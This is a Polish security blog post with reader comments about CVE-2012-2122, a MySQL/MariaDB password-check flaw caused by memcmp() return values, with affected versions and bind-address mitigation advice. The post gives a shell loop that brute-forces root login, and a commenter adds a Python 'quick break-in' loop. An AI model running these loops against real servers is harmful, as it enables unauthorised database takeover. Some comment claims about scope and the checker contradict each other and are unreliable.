11/6/2012
Sergei Golubchik opublikował przedwczoraj informację o poważnym błędzie bezpieczeństwa w serwerach MySQL oraz MariaDB. Okazuje się, że 1 na 256 jakichkolwiek haseł przekazanych MySQL-owi może zostać zaakceptowane przez bazę. Efekt? Stajesz się jej administratorem, mimo, że nie znasz poprawnego hasła.
CVE-2012-2122
Oto skrypt, który jeśli zostanie wykonany na serwerze z MySQL podatnym na atak, sprawi, że zostaniesz zalogowany jako root:
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Błąd wynika z wartości zwracanych przez funkcję memcmp(), która — jak błędnie zakłada MySQL — zwraca wartości z przedziału -128 .. 127. Otóż okazuje się, że na niektórych platformach przy pewnych flagach optymalizujących, funkcja memcmp() zwraca wartości spoza tego przedziału. Głównie zdarza się to kiedy GCC używa optymalizacji SSE.
Oto kod programu, który po odpaleniu poinformuje Cię, czy twój MySQL jest podatny na powyższy atak:
/*
* CVE-2012-2122 checker
*
* You may get differing results with/without -m32
*
* Joshua J. Drake
*/
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int one, two, ret;
time_t start = time(0);
time_t now;
srand(getpid()*start);
while (1) {
one = rand();
two = rand();
ret = memcmp(&one, &two, sizeof(int));
if (ret < -128 || ret > 127)
break;
time(&now);
if (now - start > 10) {
printf("Not triggered in 10 seconds, *probably* not vulnerable..\n");
return 1;
}
}
printf("Vulnerable! memcmp returned: %d\n", ret);
return 0;
}
MySQL podatne na ataki
Jak na razie potwierdzono, że poniże systemy są podatne na ten błąd:
-
Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
OpenSuSE 12.1 64-bit MySQL 5.5.23-log
Fedora 16 64-bit
Arch Linux (unspecified version)
Jak ochronić się przed atakami na MySQL?
Po pierwsze, jest już moduł exploita do metasploita wykorzystujący w/w metodę ataku. Warto więc upewnić się, że nasz MySQL nie jest na ten atak podatny (uruchom program, którego kod wkleiliśm powyżej).
Po drugie, MySQL raczej nie powinien być podbindowany pod publicznie dostępny interface (a jeśli jest to konieczne, zawsze można nałożyć ograniczenia na to kto może się pod bazę podpinać). Dlatego samo tylko podążanie za znaną zasadą najmniejszych przywilejów powinno uratować twój tyłek, nawet jeśli posiadasz wersję MySQL podatną na atak.
Na wszelki wypadek sprawdź plik my.cnf i wartość parametru “bind-address” (w większości przypadków prawidłową wartością będzie 127.0.0.1). Po zmianie pamiętaj, aby zrestartować usługę MySQL-a.
Ciekawe…
Mam Archa. Co ciekawe, kod powyżej wywala mi, że jestem podatny, ale odpalenie tego linijkowca nie daje mi roota na mysql.
Mam mysql 64bit ofc.
Nie ma czym się ciekawić – po prostu nikt nie weryfikuje informacji przed puszczeniem ich w obieg i tak oto będzie teraz krążyć informacja o tym, że Arch jest podatny, chociaż nie jest.
Ten kod nie testuje stricte mysql, a jedynie wartosci zwracane przez memcmp() ktore powodowaly ten blad. Tak wiec “podatny system” to taki, ktory oferuje memcmp() przechodzace test, a nie majacy w repo zbugowanego mysql. Sprawdz jeszcze wersje:
“All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.”
ArchLinux 64-bit, kod zwraca, że 10 sekund i tak dalej. Muszę potem jeszcze sprawdzić z mysql.
Co więcej, problem tyczy się jedynie lokalnego dostępu do bazy. Mechanizmy sieciowe nie są na to podatne .
Ciekawe, mam Ubuntu 12.04 64bit, kod pokazuje ze jestem podatny, niestety mysql nie poddaje się. Próby wykonywałem wielokrotnie na różnych maszynach i nic.
A czy 32-bit jest zabezpieczone przed tym atakiem?
“Arch Linux (unspecified version)”
No trudno żeby specified, skoro to rolling-release.
Sprawdziłem kilka maszyn typ programikiem i wszystkie podatne ale na żadnej skrypt nie daje “pożądanych” rezultatów.
spróbuj metasploitem, mnie poszlo
Mam dokładnie tak samo jak kolega wyżej niby jest podatność, ale podatności ni ma… No chyba, że w tym skrypcie czegoś braknie ?
To samo na Debianie squeeze. Kod pokazuje w C pokazuje podatność, natomiast skrypcik nawet jak mu dam pętle do 10000 to nie daje rady się wbić.
na lionie kod pokazuje vulnerability, ale nie idzie sie dostac do mysqla przy pomocy skryptu
ten skrypt do sprawdzania podatnosci z tym do rootowania mysqla ma sie nijak. to poprostu nie ma prawa dzialac. bez paniki.
odsiewamy, odsiewamy ;)
dokładnie, należy zmeniać (np. losowo) hasło, a nie cały czas to samo podawać
sprawdziłem powyższym skryptem z losowaniem hasła i się udało po chwili an Ubuntu 12.04 64-bit
1. Nie traficzny błąd w MySQL tylko w GCC z sse-optimized
2. SSE nie SEE
3. Zdarza się TYLKO z GCC sse-optimized “Głównie zdarza się to kiedy GCC używa optymalizacji SEE.”
4. Szybki włam:
#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen(“mysql -u root mysql –password=blah”, shell=True).wait()
Debian x84_64: mysql Ver 14.14 Distrib 5.1.61, for debian-linux-gnu (x86_64)
Wywala mi memcmp spoza przedziału, więc jest podatny, ale pętla się nie wbija.
hmm, moj system jest na liscie (fedora 16, 64 bit, aktualizuje na bieżąco) ale wlamac mi się nie udało :)
Debian <3 ufff czysto ;)
A nie -128…127?
Wypadało by wspomnieć, że:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
Hmmm Na stronie sergieja: _MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not._ Zaktualizowałem mysql do 5.5.24 – rozumie że ten program w C sprawdza tylko wartości zwracane przez memcmp i pomimo tego że wypluwa “vulnerable” sam serwer na ten atak juz nie jest podatny?
bo ten skrypt chyba nie do końca robi to co ma robić:) swoją drogą memcmp zwraca zawsze z zakresu -255 do 255(zwraca różnicę wartości między pierwszym a drugim ciągiem, dla pierwszego różniącego się bajtu (memcmp(0,255)=-255, memcmp(255,0)=255)) więc każdy system zgodny z POSIX powinien być “podatny”.
O tym właśnie jest ten post!
Zakładanie, że tam memcmp po chłopsku odejmuje znaki jest nadinterpretacją.
Linux:
> The memcmp() function returns an integer less than, equal to,
> or greater than zero if the first n bytes of s1 is found,
> respectively, to be less than, to match, or be greater than the
> first n bytes of s2.
> [man memcmp on recent linux]
Solaris:
> The memcmp() function returns an integer less than, equal to,
> or greater than zero if the > first n bytes of s1 is found,
> respectively, to be less than, to match, or be greater than
> the first n bytes > of s2.
> [man memcmp on openindiana]
Tylko BSD coś tam – notabene niepotrzebnie – pisze o odejmowaniu znaków potraktowanych jak liczby:
> The memcmp() function returns zero if the two strings are identical,
> otherwise returns the difference between the first two differing bytes(…)
> (http://www.rootr.net/man/man/memcmp/3, man na FreeBSD 9 )
Innymi słowy, BSD jest zgodne ze standardami ale zamyka sobie możliwość optymalizacji implementacji np. za pomocą tricków z SSE.
Zgadzam się z kolegą co do sensu testowania podatności za pomocą powyższego kodu.
Pomijając to,że warunek podatności zależny od wartości zwróconej w czasie t<10, który świadczy o wyobraźni (i poziomie wiedzy) autora, to memcmp() zwraca wartości z zakresu odkąd typ char określa jednobajtową liczbę całkowitą, czyli od zawsze (w sensie odkąd pamiętam :) Dla niedowiarków kawałek kodu memcmp():
if (*p1++ != *p2++) return (*–p1 – *–p2); //gdzie p1 i p2 to unsigned char (0-255).
Problem mysql’a to min. błędne założenie, że zwracana wartość przez (int)memcmp() będzie zawierała się w zakresie char (signed/unsigned). Wynika to z:
typedef char my_bool; //<- tu zakładamy, że będziemy zwracać char
my_bool check_scramble(…) {
…
return (memcmp(…)); //<- a tu zwracamy int
}
I niby to samo w sobie tylko estetykę kodu psuje (no nie do końca ale to już pomińmy). Jednak po zastosowaniu optymalizacji SSE dla glibc, memcmp() "porównuje" nie po jednym bajcie a po cztery naraz. Zwracana wartość jest wynikiem odejmowania (czterobajtowych) wektorów, np: 0x80101000. Gdy taka wartość przekazana jest do zmiennej typu char (jeden bajt) to wyniku różnicy rozmiarów zachowany jest ostatni bajt, czyli 0x00. I tyle :)
Jeśli coś pokręciłem to proszę o korektę.
Pozdrawiam.
mala poprawka.
zamiast: “z zakresu odkąd”
powinno być “z zakresu -255,255 odkąd”.
Skoro wersja mysql-a sprzed miesiąca jest nie podatna to znaczy ze załatali ten błąd wiec nie ma co panikować. W mysql-u jest !!DUUUUZO!! więcej krytycznych błędów w starych wersjach, tylko że w changelogach piszą tylko “security fix” i nic wiecej zeby nie straszyć.
Odpaliłem ten skrypt na Windows 7 Pro. x64
Za pierwszym razem Windows się powiesił… dopiero przy drugiej próbie wywaliło, że wszystko OK :)
źródło: https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
po co linkujesz cos co jest podlinkowane w poscie ?
ohhh, my bad! :/
na Windows memcmp z VisualS10 zwraca 1, 0 lub -1 – wysilili się chłopaki:)
Potwierdzam, na aktualnym Arch Linux 64bit oraz 32bit mysql nie udało mi się zalogować na żadne konto korzystając z tej “podatności”. Podany tutaj program zwraca “oczekiwane” wyniki:
Vulnerable! memcmp returned: -175
Natomiast próba logowania z *losowym* hasłem na dowolne konto kończy się niepowodzeniem zarówno w przypadku prostego skryptu powłoki jak i…
[-] 777.777.777.777:3306 Unable to bypass authentication, this target may not be vulnerable
@Piotr Konieczny: skąd więc informacja że Arch jest podatny? Sprawdzaliście? A może o czymś jeszcze nie wiemy? ;)
“Warto więc upewnić się, że nasz MySQL nie jest na ten atak podatny (uruchom program, którego kod wkleiliśm powyżej).”
Co znaczy uruchom kod C?
Najpierw trzeba skompilować i to odpowiednio. Czyli np.:
$ gcc test.c -o test
jest podatne na błąd ale już:
$ gcc -march=native -O3 -pipe -fomit-frame-pointer -funroll-loops test.c -o test
podatne nie jest.
Troche spóźniony komentarz, ale to faktycznie jest bardzo ciekawe:
Debian Squeeze 64:
Linux {xxx} 2.6.32-5-amd64 #1 SMP Mon Sep 23 22:14:43 UTC 2013 x86_64 GNU/Linux
shellscript oczywiscie nie dziala bo haslo jest takie same w kazdej petli
teraz program skompilowany nastepujaco: gcc -lc -o sqltest sqltest.c
daje rezultat: Vulnerable! memcmp returned: -132
a skompilowany z kazdym innym zestawem parametrow z optymalizacja kodu (-O3) twierdzi że nie jest podatny na atak. tomi, zbigg, d3cker – dzieki za wyjaśnienia
mysql-5.5.21-2
Linux 3.0.8-grsec #8 SMP Fri Nov 18 11:34:07 CET 2011 i686 Intel(R)_Celeron(TM)_CPU 1300MHz PLD Linux
gcc version 4.6.3 20120315 (release) (PLD-Linux)
Żadna z metod się nie powiodła
megiteam.pl , mariadb 5.1.47, debian 64
Not triggered in 10 seconds, *probably* not vulnerable…
U mnie mysql 5.1.47 niepodatny, 5.5.21 podatny, 5.0.51 bezpieczny. Choć tak naprawdę to bardziej kwestia środowiska i kompilatora niż samego mysql…
OpenBSD 5.1:
Vulnerable! memcmp returned: 187
D’Oh!
OpenBSD FAQ:
“The packages and ports collection does NOT go through the same thorough security audit that is performed on the OpenBSD base system. Although we strive to keep the quality of the packages collection high, we just do not have enough human resources to ensure the same level of robustness and security.”
Żaden system z rodziny *BSD nie jest podatny
a mnie uczyli, że break; jest zły, i nie wolno go używać :P
Błąd jest możliwy do wykorzystania także zdalnie, nie tylko via localhost. Oczywiście w tabeli “user” musisz mieć możliwość logowania na danego użytkownika ze zdalnych hostów.
[…] związku z krążącymi informacjami o „tragicznie komicznej”, ale poważnej podatności CVE-2012-2122 w MySQL i MariaDB […]
[…] kolejny tragikomiczny błąd na miarę opisywanego przez nas wczoraj 0day’a na roota w MySQL. Otóż okazuje się, że bez specjalnego wysiłku można dostać roota w kolejnym ważnym […]
[…] Sergeia Golubchika za 0day’a na MySQL […]